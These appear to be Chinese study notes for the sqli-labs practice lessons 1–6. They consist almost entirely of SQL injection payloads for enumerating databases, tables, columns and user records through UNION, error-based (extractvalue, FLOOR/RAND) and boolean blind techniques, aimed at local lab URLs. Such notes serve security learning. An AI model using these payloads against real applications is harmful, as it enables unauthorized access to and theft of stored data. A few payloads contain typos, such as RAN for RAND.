# less 1~4
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=' 库名 ' LIMIT 0,1 // 爆表(一次一个)
select group_concat (table_name) from information_schema.tables where table_schema=0x7365637572697479 // 爆表 (全部)前面是数据库 16 进制的编码
select group_concat (column_name) from information_schema.columns where table_name=0x656d61696c73 // 爆字段 前面是数据库 16 进制的编码
select group_concat (id 字段名 1,email_id 字段名 2 。。。。) from email(表名)// 爆单个数据
# 报错注入 (less-5,6)
首先利用盲注的方法获取表名等,然后报错注入回显。(针对页面无回显点)
id=-1' OR 1 GROUP BY CONCAT_WS (0x3a,database (),FLOOR (RAN (0)*2)) HAVING MIN (0) OR 1 --+ // 库
http://sql.com/Less-5/?id=1' and extractvalue (1,concat (0x23,(select table_name from information_schema.tables where table_schema=database () limit 0,1),0x23))--+// 表
http://sql.com/Less-5/?id=1' and extractvalue (1,concat (0x23,(select column_name from information_schema.columns where table_schema=database () and table_name='users' limit 0,1),0x23))--+ // 字段
http://sql.com/Less-5/?id=1' and length ((select table_name from information_schema.tables where table_schema=database () limit 0,1))>6--+// 长度判断
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii (substr ((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法猜解得到所有的库,红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii (substr ((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+ 再次通过二分法可猜解得到 security 下的所有表。其中,红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii (substr ((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+ 通过二分法可猜解 users 内的字段,其中红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii (substr ((select username from security.users limit 1,1),1,1))>1--+ 继续猜解即可得到字段内的值。
